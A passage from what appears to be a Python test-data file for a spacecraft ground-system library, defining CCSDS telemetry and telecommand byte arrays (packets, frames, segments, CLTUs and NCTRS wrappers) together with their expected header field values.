0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,
0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,
0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,
0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,
0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,
0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7,
0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,
0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7,
0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,
0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7,
0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,
0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,
0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,
0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,
0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,
0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,
0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,
0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7,
0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,
0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7,
0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,
0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7,
0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,
0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,
0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,
0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,
0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,
0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,
0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,
0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7,
0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,
0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7,
0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,
0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7,
0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,
0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,
0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,
0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,
0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xD4]
TM_PACKET_04_versionNumber = 0
TM_PACKET_04_packetType = 0
TM_PACKET_04_dataFieldHeaderFlag = 1
TM_PACKET_04_applicationProcessId = 1234
TM_PACKET_04_segmentationFlags = CCSDS.PACKET.UNSEGMENTED
TM_PACKET_04_sequenceControlCount = 0
TM_PACKET_04_packetLength = 2080
TM_PACKET_04_pusVersionNumber = 1
TM_PACKET_04_serviceType = 8
TM_PACKET_04_serviceSubType = 2
TM_FRAME_01 = [
0x2F, 0x61, 0x00, 0x00, 0x18, 0x00, 0x0C, 0xD2,
0xC0, 0x00, 0x00, 0x1A, 0x10, 0x03, 0x19, 0x16,
0x92, 0x5E, 0x92, 0x00, 0x00, 0x00, 0x00, 0x00,
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TM_FRAME_01_versionNumber = 0
TM_FRAME_01_spacecraftId = 758
TM_FRAME_01_virtualChannelId = 0
TM_FRAME_01_operationalControlField = 1
TM_FRAME_01_masterChannelFrameCount = 0
TM_FRAME_01_virtualChannelFCountLow = 0
TM_FRAME_01_secondaryHeaderFlag = 0
TM_FRAME_01_synchronisationFlag = 0
TM_FRAME_01_packetOrderFlag = 0
TM_FRAME_01_segmentLengthId = 3
TM_FRAME_01_firstHeaderPointer = 0
TM_FRAME_01_leadingFragment = None
TM_FRAME_01_nrPackets = 2
TM_FRAME_01_trailingFragment = None
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC9,
0x48, 0x01, 0x00, 0x00, 0x00, 0xBB, 0xD6]
NCTRS_TM_FRAME_01_packetSize = 1135
NCTRS_TM_FRAME_01_spacecraftId = 758
NCTRS_TM_FRAME_01_dataStreamType = 0
NCTRS_TM_FRAME_01_virtualChannelId = 0
NCTRS_TM_FRAME_01_routeId = 0
#NCTRS_TM_FRAME_01_earthReceptionTime = array.array('B', [0x56, 0xC0, 0x04, 0xB2, 0x2C, 0x16, 0x03, 0x20])
NCTRS_TM_FRAME_01_earthReceptionTime = 1918849985.5588
NCTRS_TM_FRAME_01_sequenceFlag = 0
NCTRS_TM_FRAME_01_qualityFlag = 0
TC_PACKET_01 = [
0x1A, 0x8C, 0xC0, 0x0E, 0x01, 0x0D, 0x19, 0x06,
0x02, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x01, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x02, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x03, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x05, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x06, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x07, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x08, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x09, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x0A, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x0B, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x0C, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x0D, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x0E, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x0F, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x10, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x11, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x12, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x13, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x14, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x15, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x16, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x17, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x18, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x19, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x1A, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x1B, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x1C, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x1D, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x1E, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x00, 0x1F, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x0F, 0xAC, 0x8F]
TC_PACKET_01_versionNumber = 0
TC_PACKET_01_packetType = 1
TC_PACKET_01_dataFieldHeaderFlag = 1
TC_PACKET_01_applicationProcessId = 652
TC_PACKET_01_segmentationFlags = CCSDS.PACKET.UNSEGMENTED
TC_PACKET_01_sequenceControlCount = 14
TC_PACKET_01_packetLength = 269
TC_PACKET_01_pusVersionNumber = 1
TC_PACKET_01_ack = 9
TC_PACKET_01_serviceType = 6
TC_PACKET_01_serviceSubType = 2
TC_SEGMENT_01 = [
0x42, 0x1A, 0x8C, 0xC0, 0x0E, 0x01, 0x0D, 0x19,
0x06, 0x02, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x01, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x02, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x03, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x04, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x05, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x06, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x07, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x08, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x09, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x0A, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x0B, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x0C, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x0D, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x0E, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x0F, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x10, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x11, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x12, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x13, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x14, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x15, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x16, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x17, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x18, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x19, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x1A, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x1B, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x1C, 0xFF, 0x00, 0x00,
0x00]
TC_SEGMENT_01_sequenceFlags = CCSDS.SEGMENT.FIRST_SEGMENT
TC_SEGMENT_01_mapId = 2
TC_SEGMENT_02 = [
0x82, 0x00, 0x0F, 0x00, 0x1D, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x1E, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x1F, 0xFF, 0x00, 0x00,
0x00, 0x00, 0x0F, 0xAC, 0x8F]
TC_SEGMENT_02_sequenceFlags = CCSDS.SEGMENT.LAST_SEGMENT
TC_SEGMENT_02_mapId = 2
TC_FRAME_01 = [
0x22, 0xF6, 0x00, 0xFF, 0x00, 0x42, 0x1A, 0x8C,
0xC0, 0x0E, 0x01, 0x0D, 0x19, 0x06, 0x02, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x01, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x02, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x03, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x05, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x06, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x07, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x08, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x09, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x0B, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x0C, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x0D, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x0E, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x0F, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x10, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x11, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x12, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x13, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x14, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x15, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x16, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x17, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x19, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x1A, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x1B, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x1C, 0xFF, 0x00, 0x00, 0x00, 0xAD, 0x1A]
TC_FRAME_01_versionNumber = 0
TC_FRAME_01_reservedFieldB = 0
TC_FRAME_01_virtualChannelId = 0
TC_FRAME_01_controlCommandFlag = 0
TC_FRAME_01_reservedFieldA = 0
TC_FRAME_01_frameLength = 255
TC_FRAME_01_sequenceNumber = 0
TC_FRAME_01_spacecraftId = 758
TC_FRAME_01_bypassFlag = 1
TC_FRAME_02 = [
0x22, 0xF6, 0x00, 0x23, 0x00, 0x82, 0x00, 0x0F,
0x00, 0x1D, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x1E, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x1F, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0xAC, 0x8F, 0x00, 0x68]
TC_FRAME_02_versionNumber = 0
TC_FRAME_02_reservedFieldB = 0
TC_FRAME_02_virtualChannelId = 0
TC_FRAME_02_controlCommandFlag = 0
TC_FRAME_02_reservedFieldA = 0
TC_FRAME_02_frameLength = 35
TC_FRAME_02_sequenceNumber = 0
TC_FRAME_02_spacecraftId = 758
TC_FRAME_02_bypassFlag = 1
CLTU_01 = [
0xEB, 0x90, 0x22, 0xF6, 0x00, 0xFF, 0x00, 0x42,
0x1A, 0x12, 0x8C, 0xC0, 0x0E, 0x01, 0x0D, 0x19,
0x06, 0x5A, 0x02, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x8A, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFF,
0x00, 0xCC, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x01,
0xFF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00,
0x02, 0x5A, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x92, 0x03, 0xFF, 0x00, 0x00, 0x00, 0x00,
0x0F, 0xD6, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00,
0x00, 0xD4, 0x0F, 0x00, 0x05, 0xFF, 0x00, 0x00,
0x00, 0xA8, 0x00, 0x0F, 0x00, 0x06, 0xFF, 0x00,
0x00, 0xC8, 0x00, 0x00, 0x0F, 0x00, 0x07, 0xFF,
0x00, 0xCA, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x08,
0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00,
0x09, 0xA8, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x92, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x00,
0x0F, 0xF4, 0x00, 0x0B, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x5A, 0x0F, 0x00, 0x0C, 0xFF, 0x00, 0x00,
0x00, 0xB0, 0x00, 0x0F, 0x00, 0x0D, 0xFF, 0x00,
0x00, 0xD8, 0x00, 0x00, 0x0F, 0x00, 0x0E, 0xFF,
0x00, 0x96, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0F,
0xFF, 0xDA, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00,
0x10, 0x82, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x92, 0x11, 0xFF, 0x00, 0x00, 0x00, 0x00,
0x0F, 0x92, 0x00, 0x12, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x2A, 0x0F, 0x00, 0x13, 0xFF, 0x00, 0x00,
0x00, 0x24, 0x00, 0x0F, 0x00, 0x14, 0xFF, 0x00,
0x00, 0x4A, 0x00, 0x00, 0x0F, 0x00, 0x15, 0xFF,
0x00, 0x72, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x16,
0xFF, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00,
0x17, 0x20, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x00, 0x92, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00,
0x0F, 0xB0, 0x00, 0x19, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x90, 0x0F, 0x00, 0x1A, 0xFF, 0x00, 0x00,
0x00, 0x3C, 0x00, 0x0F, 0x00, 0x1B, 0xFF, 0x00,
0x00, 0xF8, 0x00, 0x00, 0x0F, 0x00, 0x1C, 0xFF,
0x00, 0x2E, 0x00, 0x00, 0xAD, 0x1A, 0x55, 0x55,
0x55, 0xEC, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,
0x55, 0x55]
CLTU_02 = [
0xEB, 0x90, 0x22, 0xF6, 0x00, 0x23, 0x00, 0x82,
0x00, 0x24, 0x0F, 0x00, 0x1D, 0xFF, 0x00, 0x00,
0x00, 0x34, 0x00, 0x0F, 0x00, 0x1E, 0xFF, 0x00,
0x00, 0x10, 0x00, 0x00, 0x0F, 0x00, 0x1F, 0xFF,
0x00, 0xD8, 0x00, 0x00, 0x00, 0x0F, 0xAC, 0x8F,
0x00, 0x90, 0x68, 0x55, 0x55, 0x55, 0x55, 0x55,
0x55, 0x06, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,
0x55, 0x55]
NCTRS_CLTU_01 = [
0x00, 0x00, 0x01, 0x61, 0x00, 0x07, 0x02, 0xf6,
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB,
0x90, 0x22, 0xF6, 0x00, 0xFF, 0x00, 0x42, 0x1A,
0x12, 0x8C, 0xC0, 0x0E, 0x01, 0x0D, 0x19, 0x06,
0x5A, 0x02, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
